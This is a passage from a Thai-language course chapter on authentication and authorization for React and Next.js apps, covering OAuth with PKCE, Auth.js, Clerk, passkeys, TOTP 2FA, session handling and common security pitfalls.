export function ProtectedRoute({ children }: { children: ReactNode }) {
    const { user, isLoading } = useAuth();
    const location = useLocation();

    if (isLoading) return <Spinner />;     // ⭐ รอ refresh check จบ — ไม่งั้น flash login page

    if (!user) {
        return <Navigate to="/login" state={{ from: location }} replace />;
    }

    return <>{children}</>;
}

⚠️ Common bug: ลืม isLoading check → app boot → user state ยังเป็น null → redirect ไป /login ทันที → refresh สำเร็จ → redirect กลับ → flash (กระพริบ — UI วาดหน้าผิดชั่ววินาทีแล้วเด้งกลับ user เห็น) จาก /dashboard/login/dashboard ภายใน ~200ms

8. Role-based Authorization

tsx
// auth/RoleGate.tsx
import { type ReactNode } from 'react';
import { Navigate } from 'react-router';
import { useAuth } from './AuthContext';
// User type (นิยามใน api/auth.ts §4) มี field: roles: Role[], permissions: Permission[]

type Role = 'user' | 'admin' | 'manager';

export function RoleGate({
    allow,
    children,
    fallback,
}: {
    allow: Role[];
    children: ReactNode;
    fallback?: ReactNode;
}) {
    const { user } = useAuth();

    if (!user) return fallback ?? null;
    // 📝 user.roles: Role[] — real app มัก allow user มีหลาย role (admin + manager)
    //    ถ้า schema เป็น single role: เปลี่ยนเป็น  allow.includes(user.role)
    if (!allow.some((r) => user.roles.includes(r))) {
        return fallback ?? <Navigate to="/forbidden" />;
    }

    return <>{children}</>;
}

💡 Role vs Permission: RoleGate ข้างบนสอนแบบ role-based ซึ่งง่ายแต่หยาบ. Production app ส่วนใหญ่ scale ไป permission-based (ดู can(user, perm) ข้างล่าง) ดีกว่า — role คือ "กลุ่มของ permission" แต่ check จริง check ที่ permission

ใช้:

tsx
<RoleGate allow={['admin']}>
    <DeleteUserButton />
</RoleGate>

<RoleGate allow={['admin', 'manager']}>
    <AdminPanel />
</RoleGate>

Permission-based (fine-grained — ละเอียดกว่า role)

tsx
type Permission = 'users:read' | 'users:write' | 'posts:delete' | 'admin:all';

function can(user: User, perm: Permission): boolean {
    if (user.permissions.includes('admin:all')) return true;
    return user.permissions.includes(perm);
}

// ใช้
{can(user, 'posts:delete') && <DeleteButton />}

⚠️ Authorization check ใน UI = UX only — ไม่ใช่ security

Attacker เปิด DevTools → ลบ check → กดปุ่ม → request ส่งไปแล้ว → ต้อง check ที่ server ทุกครั้ง — UI check แค่ "ซ่อนปุ่ม" เพื่อ UX


Part 3: OAuth / OIDC — "Login with Google"

9. ทำไมไม่ใช่ password-based อย่างเดียว?

  • User เกลียดสร้าง password ใหม่ทุกแอป
  • เราเก็บ password ผิดได้ (plaintext, weak hash)
  • OAuth provider verify identity ให้แล้ว

10. OAuth 2.0 + OIDC Flow (Authorization Code + PKCE)

"Login with Google/GitHub" ทำงานด้วย OAuth 2.0 + OIDC — แทนที่ app จะจัดการ password เอง มันส่ง user ไป login ที่ provider แล้วรับ code กลับมาแลกเป็น token ฝั่ง backend ข้อดีคือ app ไม่ต้องเก็บ password เลย ลดความเสี่ยงข้อมูลรั่ว

ก่อนดู flow ลองเปรียบกับระบบโรงแรม เมื่อ user คลิก "Login with Google" แทนที่จะบอก password กับเรา เขาแค่ไปบอก Google ว่า "ให้แอปนี้รู้จักฉัน"

Google จะออก "คูปอง" (authorization code) ส่งกลับมาให้เรา แต่คูปองนี้ใช้ได้แค่ครั้งเดียวและเฉพาะที่ backend ของเราเท่านั้น (ต้องใช้ client_secret ที่เก็บลับฝั่ง server เปิด) เพื่อแลกเป็น token จริง

ทำไมต้องซับซ้อนขนาดนี้? เพราะถ้า token ส่งตรงมาที่ browser มีโอกาสถูกดักระหว่าง redirect

แต่ถ้าแลกที่ backend ด้วย secret แล้วออก session ของเราเอง — แม้ browser ถูกดักได้แค่ "คูปอง" ที่ใช้ได้ครั้งเดียวและหมดอายุใน 10 นาที ก็ไม่มีประโยชน์:

flow นี้รวม PKCE (Proof Key for Code Exchange) ที่ช่วยกัน authorization code ถูกดักระหว่างทาง — ขั้นตอนเต็มในภาพ:

text
User clicks "Login with Google"

Browser → redirect to Google

Google login page

User login + consent

Google → redirect to /callback?code=XXX   ← authorization code (ชั่วคราว อายุ ~10 นาที)

Our backend: exchange code → access token + id token (JWT จาก Google)
        (ต้องแลกที่ backend เพราะต้องใช้ client_secret ที่เก็บลับฝั่ง server เท่านั้น)

Verify id token signature → get user info (email, name, sub)

Lookup user in our DB (or create) → issue our session

Set httpOnly cookie + return to app

PKCE (Proof Key for Code Exchange) — ป้องกัน authorization code interception attack (การโจมตีที่ attacker ดัก code OAuth ระหว่าง redirect — สำคัญสำหรับ public client เช่น SPA/mobile app ที่ไม่มี client secret เก็บลับฝั่ง backend) OIDC (OpenID Connect) — layer บน OAuth ที่ standardize "ดึง user info"

10.5 BFF Pattern — Backend for Frontend (ปลอดภัยที่สุดสำหรับ SPA — Single-Page Application เว็บแอปที่โหลดหน้าเดียวแล้วเปลี่ยน content ใน browser โดยไม่ reload)

ถ้าทำ Lab 16.1 (Vite SPA + Spring Boot) ที่ท้ายบท — Spring Boot ของคุณคือ BFF แล้วตอนนี้เลย

มันรับ OAuth callback จาก Google, แลก code เป็น token, แล้วออก session cookie ให้ SPA โดยที่ React app ไม่เคยเห็น access/refresh token ของ Google เลย นั่นคือหัวใจของ pattern นี้

diagram ด้านล่างจะเห็นภาพชัดขึ้นทันทีถ้า map เข้ากับ project ที่ทำอยู่:

ปัญหาของ SPA + OAuth ตรงๆ: token (โดยเฉพาะ refresh token) ต้องอยู่ที่ client → ถ้า XSS → ขโมยได้ BFF pattern = วาง backend ของเราเองคั่นระหว่าง SPA กับ OAuth provider → SPA ไม่เคยเห็น token เลย ใช้แค่ session cookie

text
Browser (SPA)
    ↓  cookie session (httpOnly, SameSite=strict)
BFF (Node/Spring) ← เก็บ access/refresh token ของ Google/etc.
    ↓  Bearer token
External API (Google, GitHub, Backend microservices)

ข้อดี:

  • SPA ไม่เห็น token → XSS ขโมยไม่ได้
  • Refresh logic อยู่ที่ server (ง่ายกว่า + ปลอดภัยกว่า dedup refresh ที่ client)
  • CORS ง่ายขึ้น (SPA คุยกับ BFF same-origin)

ข้อเสีย: ต้องมี backend ของเราเอง (ไม่เหมาะกับ pure static site)

Library: Auth.js v5 ทำ BFF ให้ใน Next.js โดย default ถ้าใช้ Spring Boot → spring-boot-starter-oauth2-client + เก็บ token ใน session


10.6 Passkeys / WebAuthn — อนาคตของ auth (ไม่มี password)

Passkey ทำงานเหมือนกุญแจรถแบบ keyless โทรศัพท์ของคุณเก็บ "กุญแจดิจิทัล" (private key) ไว้ข้างใน ไม่มีใครดึงออกไปได้

เวลา login โทรศัพท์จะ "เซ็นชื่อ" challenge ที่ server ส่งมา โดยไม่ต้องส่งความลับใดๆ ออกไปเลย

server เช็คลายเซ็นนั้นด้วย public key ที่เก็บไว้ตอน signup ถ้าตรง = ใช่ตัวจริง ไม่มี password ให้จำ ไม่มี password ให้ขโมย

ในโค้ดด้านล่าง alg: -7 คือ ES256 (algorithm มาตรฐานที่โทรศัพท์ทุกรุ่นรองรับ — ใส่ค่านี้ไว้ก่อนเสมอ) และ alg: -257 คือ RS256 (สำหรับ hardware key เช่น YubiKey หรือ Windows Hello):

Passkey = key pair (public/private) ที่อยู่บนอุปกรณ์ของ user (โทรศัพท์, laptop, USB key) แทน password

  • Login = ใช้ biometric (Face ID, fingerprint) unlock private key → sign challenge → server verify ด้วย public key
  • กัน phishing 100% (key ผูกกับ origin ของเว็บ)
  • ไม่มี password ให้ leak ไม่มี shared secret (ความลับร่วม — password คือความลับที่ทั้ง user และ server รู้ ถ้า server ถูก hack ความลับนี้รั่ว; Passkey ไม่มี secret ฝั่ง server เก็บแค่ public key ที่รั่วก็ใช้ไม่ได้) ระหว่าง user กับ server
typescript
// ⚠️ pseudocode — `serverChallenge`, `userId`, `email`, `name` ต้อง fetch จาก server endpoint ก่อน
// (เช่น POST /api/auth/passkey/register-challenge → ได้ challenge + userId กลับมา)

// Sign up — สร้าง passkey
const credential = await navigator.credentials.create({
    publicKey: {
        challenge: serverChallenge, // จาก server, base64
        rp: { name: 'My App', id: 'myapp.com' },
        user: { id: userId, name: email, displayName: name },
        pubKeyCredParams: [
            // ES256/RS256 = ชื่อมาตรฐานของ algorithm เข้ารหัสลายเซ็นดิจิทัล (elliptic curve / RSA)
            // ไม่ต้องเข้าใจ math ข้างใน แค่รู้ว่าใส่ทั้งคู่ไว้เป็น fallback ให้ครอบคลุมอุปกรณ์มากที่สุด
            { type: 'public-key', alg: -7 },    // ES256 — สำหรับ platform authenticator ส่วนใหญ่
            { type: 'public-key', alg: -257 },   // RS256 — สำหรับ YubiKey บางรุ่น, Windows Hello
        ],
        authenticatorSelection: { userVerification: 'preferred' },
    }
});
// ส่ง credential.response.attestationObject ไป server เก็บ public key

// Sign in
const assertion = await navigator.credentials.get({
    publicKey: { challenge: serverChallenge, rpId: 'myapp.com' }
});
// ส่ง assertion.response ไป server verify signature

ปี 2026 status: Apple/Google/Microsoft รองรับครบ (iCloud Keychain, Google Password Manager) — เริ่มมีใช้ใน Banking, Google, GitHub แล้ว Library: @simplewebauthn/server + @simplewebauthn/browser หรือใช้ผ่าน Auth.js v5 (Passkey provider)

💡 กลยุทธ์: เริ่มต้นด้วย password + 2FA → ทยอย add Passkey as alternative login → 2-3 ปี ค่อย deprecate password ถ้าการยอมรับ/ใช้งานจริง (adoption) ของ user ดี


การเขียน OAuth flow เองครบทุก provider ยุ่งและเสี่ยงพลาดเรื่อง security — Auth.js (เดิม NextAuth) ห่อทั้งหมดให้: เพิ่ม provider (Google/GitHub) ไม่กี่บรรทัด จัดการ token, session, callback ให้ครบ เป็นตัวเลือกที่แนะนำสำหรับ project ใหม่แทนการ DIY:

Auth.js v5 รองรับ React (Next.js, SvelteKit, SolidStart, Express, Hono)

bash
npm install next-auth bcryptjs
npm install -D @types/bcryptjs

📝 Auth.js v5 stable ออกแล้วปี 2024 — ใช้ next-auth (stable) แทน @beta ได้เลย

ts
// auth.ts (Next.js)
// ⚠️ Prisma/Drizzle คือ ORM library สำหรับเชื่อม database — ต้องติดตั้งแยก บทนี้ไม่ได้สอน ORM
//    ดูเอกสาร Prisma (https://prisma.io) หรือ Drizzle (https://orm.drizzle.team) สำหรับการตั้งค่า
import NextAuth from 'next-auth';
// Auth.js v5: ชื่อ provider เปลี่ยนเป็นไม่มี "Provider" suffix
import Google from 'next-auth/providers/google';
import GitHub from 'next-auth/providers/github';
import Credentials from 'next-auth/providers/credentials';
import bcrypt from 'bcryptjs';
import { db } from '@/lib/db';   // Prisma/Drizzle client — ของแต่ละโปรเจกต์
// ⚠️ db (Prisma) ใช้ได้เฉพาะ Node.js runtime — ถ้าต้องการ Edge compatibility
//    (Edge Runtime = environment แบบเบา เช่น Cloudflare Workers ที่ไม่รองรับ Node.js API บางตัวรวมถึง Prisma
//    ถ้าไม่รู้จัก ข้ามได้ ใช้ Node.js runtime ปกติไปก่อน) ให้ใช้ JWT session strategy แทน

export const { handlers, signIn, signOut, auth } = NextAuth({
    providers: [
        Google({
            clientId: process.env.GOOGLE_CLIENT_ID!,
            clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
        }),
        GitHub({
            clientId: process.env.GITHUB_CLIENT_ID!,
            clientSecret: process.env.GITHUB_CLIENT_SECRET!,
        }),
        Credentials({
            credentials: { email: {}, password: {} },
            async authorize(credentials) {
                // ⚠️ อย่า throw ข้อความ error ที่บอก internal detail กลับไปฝั่ง client
                // — return null = "invalid credentials" generic เสมอ (กัน email enumeration)
                try {
                    // credentials.email มี type string | undefined → null-check ก่อนใช้
                    const email = credentials?.email as string;
                    const password = credentials?.password as string;
                    if (!email || !password) return null;
                    // 📝 production: validate format/length ของ email ด้วย Zod ก่อนถึง DB
                    //    (risk ต่ำเพราะ Prisma ใช้ parameterized query อยู่แล้ว แต่ยังคุ้มกันข้อมูลแปลกๆ หลุดเข้า DB)
                    const user = await db.user.findUnique({ where: { email } });
                    if (!user) return null;
                    const valid = await bcrypt.compare(password, user.passwordHash);
                    if (!valid) return null;
                    return { id: user.id, email: user.email, name: user.name };
                } catch (err) {
                    console.error('[auth] authorize error', err);    // log ฝั่ง server เท่านั้น
                    return null;                                       // client เห็น "invalid credentials" generic
                }
            },
        }),
    ],
    callbacks: {
        async session({ session, token }) {
            session.user.id = token.sub!;
            session.user.role = token.role;       // expose role to client
            return session;
        },
        // 📝 หมายเหตุ TypeScript: ต้อง augment type ของ Session/JWT เพื่อให้ใส่ field
        // `role`/`id` ได้โดย TS ไม่ฟ้อง — สร้างไฟล์ `types/next-auth.d.ts`:
        //   declare module 'next-auth' {
        //     interface Session { user: { id: string; role: string; name?: string; email?: string } }
        //   }
        //   declare module 'next-auth/jwt' {
        //     interface JWT { role?: string }
        //   }
        async jwt({ token, user }) {
            if (user) {
                token.role = (user as User).role;
            }
            return token;
        },
    },
    pages: { signIn: '/login' },
});

🔴 JWT role staleness (ข้อมูล role ใน JWT ล้าสมัย — ของจริงในโปรดักชัน) — อ่านนี้ให้ดี

โค้ดข้างบนใส่ role ลงใน JWT แล้ว expose ให้ client. ปัญหา: JWT เป็น snapshot — เปลี่ยน role ใน DB ไม่กระทบ token ที่ออกไปแล้ว

Scenario: admin demote user "Bob" จาก adminuser ตอน 10:00. Bob ยังถือ JWT ที่ claim role: "admin" อายุเหลืออีก 6 ชั่วโมง → Bob ยังเข้า /admin ได้จนกว่า JWT จะหมดอายุ = authorization bug ที่อาจรั่วข้อมูล/แก้ข้อมูล

ทางแก้ — เลือก 1 อย่างน้อย (ของจริงทำหลายอย่างรวมกัน):

  1. Short-lived access token + refresh rotation — access token 5-15 นาที, refresh token 7 วัน แต่ rotate ทุก use + blacklist ตัวเก่า (ดู §6.5 ข้างบน) → demote มีผลใน ≤15 นาที
  2. Re-fetch role from DB on sensitive routes — ใน middleware/server action ที่สำคัญ (admin actions, payment) อย่า trust JWT claim ทำ DB lookup role สด ทุก request
  3. Token revocation list (denylist) — เก็บ jti (JWT ID — field มาตรฐานใน JWT payload ใช้เป็น unique ID ของ token แต่ละตัว ต้องใส่ตอน sign token) ของ token ที่ถูก revoke ลง Redis ที่ TTL = remaining lifetime ของ token; middleware ตรวจทุก request ก่อน accept (เสีย stateless แต่ได้ revoke ทันที)
  4. Session version pattern — เก็บ sessionVersion: number ใน user table + ใน JWT; ตอน demote หรือ logout-all → increment ใน DB; middleware compare → mismatch = reject (ดู §18 Logout from all devices ในบทนี้)

กฎใช้งานจริง: ถ้า action นั้น "ถ้าสิทธิ์รั่วแล้วเสียหายเยอะ" → อย่า trust JWT claim — query DB

ts
// app/api/auth/[...nextauth]/route.ts
export { GET, POST } from '@/auth';

ใช้ใน Server Component:

tsx
// app/dashboard/page.tsx
import { auth } from '@/auth';
import { redirect } from 'next/navigation';

export default async function DashboardPage() {
    const session = await auth();
    if (!session) redirect('/login');

    return <Dashboard user={session.user} />;
}

ใช้ใน Client Component:

tsx
'use client';
import { useSession, signIn, signOut } from 'next-auth/react';

export function LoginButton() {
    const { data: session, status } = useSession();

    if (status === 'loading') return <Spinner />;
    if (!session) return <button onClick={() => signIn('google')}>Sign in with Google</button>;
    return (
        <>
            <p>Welcome {session.user.name}</p>
            <button onClick={() => signOut()}>Sign out</button>
        </>
    );
}

Middleware — protect routes

ts
// middleware.ts
import { auth } from '@/auth';

export default auth((req) => {
    if (!req.auth && req.nextUrl.pathname.startsWith('/dashboard')) {
        return Response.redirect(new URL('/login', req.url));
    }
});

export const config = {
    matcher: ['/dashboard/:path*', '/admin/:path*'],
};

12. Auth.js features ที่ดี

  • Session strategyJWT (stateless) หรือ Database (with adapter เช่น Prisma)
  • CSRF protection — built-in
  • Email verification + password reset ผ่าน provider
  • Magic link — login ผ่าน email click
  • OAuth providers 70+ ตัว (Google, GitHub, Apple, Discord, Twitter, ...)
  • Custom adapter — เชื่อม DB ที่มีอยู่ได้

Part 4: Hosted Auth Service — ปี 2026 alternatives

ถ้าไม่อยากจัด auth เอง — ใช้ service ที่ "Auth as a Service":

คำศัพท์: MAU (Monthly Active Users) = จำนวนผู้ใช้ที่ใช้งานจริงต่อเดือน — เป็นหน่วยที่ service พวกนี้ใช้คิดราคา (เช่น "10k MAU" = ฟรีถึง 10,000 ผู้ใช้/เดือน)

ServiceFree tierจุดเด่น
Clerk10k MAUUI components สวยมาก, drop-in (วางปลั๊ก-แล้วใช้ได้เลย — ไม่ต้อง config มาก) สำหรับ Next.js/React
Supabase Auth50k MAUรวมกับ Supabase DB + Storage
Auth0~7,500 MAU (ตรวจสอบกับ auth0.com/pricing — เปลี่ยนบ่อย)Enterprise-grade, SAML / SSO รองรับ
Firebase Authฟรี (เกือบ)ใช้กับ Firebase ecosystem
Keycloakself-host (ฟรี)OSS enterprise, SAML/OIDC server
Stack AuthOSS + hostedใหม่, focus on React

Clerk Quick Setup

bash
npm install @clerk/nextjs
tsx
// app/layout.tsx
import { ClerkProvider, SignedIn, SignedOut, UserButton, SignInButton } from '@clerk/nextjs';

export default function RootLayout({ children }) {
    return (
        <ClerkProvider>
            <html>
                <body>
                    <header>
                        <SignedOut>
                            <SignInButton />
                        </SignedOut>
                        <SignedIn>
                            <UserButton />
                        </SignedIn>
                    </header>
                    {children}
                </body>
            </html>
        </ClerkProvider>
    );
}

→ ได้ login form, user menu, account settings UI อย่างรวดเร็ว (ถ้า project พร้อมแล้ว)

ts
// middleware.ts — protect routes
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server';

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/admin(.*)']);

// Clerk เปลี่ยน API หลายรอบ — ตรวจกับ @clerk/nextjs version ที่ใช้จริง
// (Clerk ≥ late-2024 — auth() เป็น async function)
export default clerkMiddleware(async (auth, req) => {
    if (isProtectedRoute(req)) await auth.protect();
});
tsx
// Server Component
import { currentUser } from '@clerk/nextjs/server';

export default async function Dashboard() {
    const user = await currentUser();
    return <div>Hi {user?.firstName}</div>;
}

💡 เมื่อไหร่ใช้ Clerk vs Auth.js:

  • Clerk = อยากเสร็จเร็ว + ไม่ care vendor lock-in + budget OK
  • Auth.js = อยาก control เต็มที่ + self-host + ฟรี

Part 5: Common Patterns

User กรอก email → ระบบส่ง email พร้อม link → คลิก → login

tsx
// Auth.js
import EmailProvider from 'next-auth/providers/email';

providers: [
    EmailProvider({
        // EMAIL_SERVER คือ SMTP URL เช่น smtp://user:pass@smtp.gmail.com:587
        // ดูเอกสาร Auth.js EmailProvider สำหรับรายละเอียด: https://authjs.dev/getting-started/providers/email
        server: process.env.EMAIL_SERVER,
        from: 'noreply@example.com',
    }),
],
  • ✅ ไม่มี password ให้ลืม + ปลอดภัยกว่า weak password
  • ⚠️ ต้อง trust email security ของ user

14. Multi-factor Authentication (MFA / 2FA)

text
1. User กรอก email + password
2. ระบบส่ง code 6 หลัก ผ่าน SMS/email/TOTP app
3. User กรอก code → login สมบูรณ์

Best:

  • TOTP (Google Authenticator, Authy, 1Password) — ปลอดภัยกว่า SMS
  • ใช้ library: otpauth, speakeasy
  • เก็บ backup codes ให้ user (ไว้กู้)
tsx
// ใช้ library `otpauth` (npm install otpauth)
import * as OTPAuth from 'otpauth';

// Setup — สร้าง secret + URL สำหรับ QR code
const secret = new OTPAuth.Secret();   // สร้าง random secret
const totp = new OTPAuth.TOTP({
    issuer: 'MyApp',
    label: email,
    algorithm: 'SHA1',
    digits: 6,
    period: 30,
    secret,
});
const otpauth_url = totp.toString();   // "otpauth://totp/MyApp:user@example.com?..."
// → เปลี่ยนเป็น QR code ด้วย library เช่น `qrcode` หรือ `react-qr-code` → user scan

// Verify
const code = '123456';
const delta = totp.validate({ token: code, window: 1 });  // window=1 ยอมรับ ±30 วินาที
const valid = delta !== null;

15. Sliding Session

Session ขยายอายุทุกครั้งที่ user active — ไม่หมดอายุระหว่างใช้งาน

ts
// Auth.js
session: {
    strategy: 'jwt',
    maxAge: 30 * 24 * 60 * 60,        // 30 วัน
    updateAge: 24 * 60 * 60,           // ขยายทุก 24 ชม. ที่ user active
},

16. Remember Me

"Remember Me" คือการให้ user เลือกอายุ session — ไม่ติ๊กก็ session สั้น (หมดเร็ว ปลอดภัยกว่าบนเครื่องสาธารณะ), ติ๊กก็ยาว (สะดวกบนเครื่องส่วนตัว) ทำได้ด้วยการปรับ maxAge ของ cookie/token ตามที่ user เลือก:

text
ไม่ติ๊ก → session 1 วัน
ติ๊ก → session 30 วัน
ts
// authorize callback
async authorize(credentials) {
    const user = await verifyUser(credentials);
    return {
        ...user,
        rememberMe: credentials.rememberMe === 'true',
    };
}

// jwt callback
jwt({ token, user }) {
    if (user?.rememberMe) {
        token.exp = Math.floor(Date.now() / 1000) + 30 * 24 * 60 * 60;
    }
    return token;
}

17. Social Account Linking

User login ด้วย Google → เห็นว่ามี email เดียวกันใน DB (signup ด้วย email/password ก่อน) → ถาม "link account ไหม?" → ถ้าใช่ → save Google ID ใน user record

Auth.js มี option allowDangerousEmailAccountLinking: true สำหรับ auto-link account ที่ email ตรงกัน — option นี้ set ที่ระดับ provider ใน Auth.js v5 เช่น Google({ ..., allowDangerousEmailAccountLinking: true })

🔴 อย่าเปิด allowDangerousEmailAccountLinking: true ในโปรดักชัน — account takeover vector

Attack scenario (รู้จริง — ไม่ใช่ทฤษฎี):

  1. Victim signup ใน app เราด้วย alice@example.com + password (verified email แล้ว)
  2. Attacker ไปสมัคร Google/OAuth provider ที่ใช้ email alice@example.com (provider บางที่ไม่ verify ownership ของ email ตอน signup โดยเฉพาะ self-hosted OIDC, GitLab on-prem, หรือ provider ที่ลืม verify)
  3. Attacker คลิก "Login with Google" ใน app เรา → Auth.js เห็น email ตรง → link เข้า account ของ Alice ทันที
  4. Attacker เป็น Alice เต็มตัว

ทางที่ถูก — เลือกอย่างน้อย 1:

  • ปิด flag นี้ (default) แล้วบังคับ user login ด้วย account เดิม → กดปุ่ม "link Google" → confirm ใน session ที่ authenticated แล้ว
  • หรือ link เฉพาะ เมื่อ OAuth provider attest email_verified: true และ local account เคย verify email มาก่อนแล้ว
  • อย่างน้อยที่สุด — re-prompt password ของ existing account ก่อน link

ดูเพิ่ม: Auth.js docs — Account Linking และค้น "OAuth account linking CVE" — เคยเกิดกับหลาย product (Booking.com, etc.)

18. Logout from all devices

ถ้าใช้ session-based → ลบทุก session ของ user จาก store:

ts
async function logoutAllDevices(userId: string) {
    await db.session.deleteMany({ where: { userId } });
}

ถ้าใช้ JWT → ใช้ "session version" pattern:

📝 เชื่อมกับ §11: ถ้าใช้ Auth.js — ต้องเพิ่ม token.sessionVersion = user.sessionVersion ใน jwt() callback ของ §11 ตอน sign-in ครั้งแรกด้วย ไม่งั้น sessionVersion จะไม่ถูกใส่เข้า token เลย แล้ว middleware compare ด้านล่างนี้จะพังเพราะ token.sessionVersion เป็น undefined

ts
// user table: sessionVersion: number
// jwt token: { sub, sessionVersion }

// middleware check:
const user = await db.user.findUnique({ where: { id: token.sub } });
if (user.sessionVersion !== token.sessionVersion) throw new Error('Logged out');

// logout from all:
await db.user.update({ where: { id }, data: { sessionVersion: { increment: 1 } } });

Part 6: ⚠️ Common Pitfalls

Pitfallแก้
JWT in localStorageใช้ httpOnly cookie + access token in memory
Authorization check ที่ UI อย่างเดียวcheck ที่ server ทุก request
ไม่ rotate refresh tokenissue refresh token ใหม่ทุกครั้ง refresh (detect theft)
Password hash ด้วย MD5/SHA-1ใช้ bcrypt/argon2 with salt
Email verification ไม่บังคับก่อนใช้ feature สำคัญ — verify email
Forgot-password token ไม่มี expiryTTL 15-60 นาที
Session ใช้ Bearer + CORS *strict origin + SameSite cookie
Login form ไม่มี rate limitrate limit per IP + per email
Error message บอกชัด "email ไม่มี"ใช้ generic "invalid credentials" (กัน email enumeration — การที่ attacker ลอง email ทีละตัวเพื่อรู้ว่า email ไหนมีในระบบจาก error ที่แตกต่าง)
ใช้ Math.random() generate tokenใช้ Buffer.from(crypto.getRandomValues(new Uint8Array(32))).toString('hex') (ใช้ได้ทั้ง Node.js และ Edge)
Refresh token ขโมยได้ตลอดไปrotate + detect reuse → invalidate ทั้ง token family (กลุ่ม token ที่ chain กัน — A ออก B → B ออก C; ถ้า A ถูกใช้ซ้ำหลัง B ออก = ถูกขโมย → revoke ทั้ง chain A→B→C; ดู §6.5)
Auth context ไม่มี isLoadingทำให้ flash redirect — ดู §7
Logout ไม่ clear client stateclear context + invalidate cache (queryClient.clear())

Part 7: Logout — ทำให้ครบ

tsx
// ⭐ queryClient คือ instance ของ QueryClient จาก TanStack Query (บท 4)
//    access ได้ผ่าน useQueryClient() hook หรือ import จาก queryClient singleton
// ⭐ navigate มาจาก useNavigate() hook ของ React Router — ต้อง call ที่ระดับ component:
//    const navigate = useNavigate(); → ส่งลงมาหรือ call logout จาก component โดยตรง
async function logout() {
    // 1. tell server (delete session/cookie + revoke refresh token family — ดู §6.5)
    await fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });

    // 2. clear auth state in app
    setUser(null);
    setAccessToken(null);

    // 3. clear TanStack Query cache (สำคัญ — ไม่งั้น cache ของ user เก่า leak)
    queryClient.clear();

    // 4. ⭐ clear persisted query cache (ถ้าใช้ persistQueryClient ใน ch 4 §7.6)
    //    — สำคัญในเครื่องที่ user หลายคนใช้ร่วมกัน (family computer / kiosk)
    //    ถ้าไม่ clear → user คนถัดไปเห็น cached data ของ user ก่อนหน้า
    localStorage.removeItem('react-query-cache');
    // เผื่อใช้ idb-keyval persister:
    // await del('react-query-cache');

    // 5. (optional) clear any other auth-related cache — Apollo, SWR, Zustand stores
    // sessionStorage.clear();

    // 6. redirect
    navigate('/login');
}

🔴 Cross-chapter risk (ของจริงในโปรดักชัน): บท 4 §7.6 สอน persistQueryClient เก็บ cache ใน localStorage เพื่อ instant load. ถ้าใช้ pattern นั้น ต้องเพิ่ม localStorage.removeItem('react-query-cache') ใน logout — ไม่งั้น user A logout → user B login บนเครื่องเดียวกัน → user B จะเห็น cached personal data ของ user A (ชื่อ, email, orders ฯลฯ) ตอนหน้า render ก่อน fetch รอบใหม่ = ข้อมูลส่วนตัวรั่วข้ามผู้ใช้


Part 8: Lab

🛠️ Lab 16.1 — Roll-your-own auth (Vite + React + Spring Boot)

ทำ:

  • Login form (email + password) + signup
  • Backend: bcrypt, issue access token (JWT 15 min) + refresh token (httpOnly cookie, 7 day)

    📝 สำหรับ Spring Boot backend: ดูหมวด Security → Spring Security + JWT หรือเอกสาร Spring Security (ตั้งค่า BCryptPasswordEncoder + JwtUtil + CORS)

  • AuthContext + refresh on 401 + dedup refresh
  • ProtectedRoute + RoleGate
  • Logout (clear ทุก state)

🛠️ Lab 16.2 — Next.js + Auth.js + Google

  • ก่อนเริ่ม prerequisite: ไปที่ Google Cloud Console → APIs & Services → Credentials → สร้าง OAuth 2.0 Client ID → เอา GOOGLE_CLIENT_ID และ GOOGLE_CLIENT_SECRET มาใส่ใน .env.local
  • ติดตั้ง Auth.js v5
  • เพิ่ม Google provider
  • Protect /dashboard ด้วย middleware
  • แสดง user info จาก Server Component (await auth())

🛠️ Lab 16.3 — Magic Link + 2FA

  • Magic link login (Auth.js EmailProvider)
  • เพิ่ม TOTP 2FA — แสดง QR code ตอน setup, verify code ตอน login

Part 9: Checkpoint

📝 หมายเหตุ: checkpoint บทนี้ ตั้งใจไม่มีเฉลย — เป็นคำถามทบทวนให้ตอบเองจากเนื้อหาในบท ถ้าตอบไม่ได้ ให้ย้อนกลับไปอ่าน section ที่เกี่ยวข้อง

  1. Authentication vs Authorization ต่างกันยังไง?
  2. ทำไม JWT in localStorage ไม่ปลอดภัย?
  3. httpOnly cookie ป้องกัน XSS ได้ยังไง?
  4. Refresh token rotation คืออะไร?
  5. ทำไมต้อง dedup concurrent refresh request?
  6. ProtectedRoute ลืม isLoading check → bug อะไรเกิด?
  7. Authorization check ที่ UI อย่างเดียว → ปัญหา?
  8. PKCE คืออะไร? ป้องกัน attack แบบไหน?
  9. Sliding session ต่าง fixed session ยังไง?
  10. Email enumeration คืออะไร? ป้องกันยังไง?

Part 10: สรุปบทนี้

  • Authentication = "ใคร?", Authorization = "ทำอะไรได้?" — แยกให้ชัด
  • Token storage = httpOnly cookie (refresh) + in-memory (access) ปลอดภัยสุด
  • localStorage = ห้ามใช้กับ token
  • Refresh on 401 + dedup concurrent refresh = pattern มาตรฐาน
  • ProtectedRoute + isLoading check = no flash redirect
  • Authorization check ที่ server เสมอ — UI check แค่ UX
  • Auth.js v5 = OSS choice แนะนำสำหรับ React/Next.js
  • Clerk / Supabase Auth = อยากเร็ว + budget OK
  • MFA / TOTP = ปลอดภัยกว่า SMS, ใช้กับ account สำคัญ
  • OAuth + PKCE + OIDC = standard สำหรับ "Login with Google"
  • Sliding session, social linking, magic link = pattern พร้อมใช้ใน library
  • ระวัง pitfalls ใน Part 6 — auth bug = breach ทันที

← บทที่ 15 | สารบัญ | หมวด Security →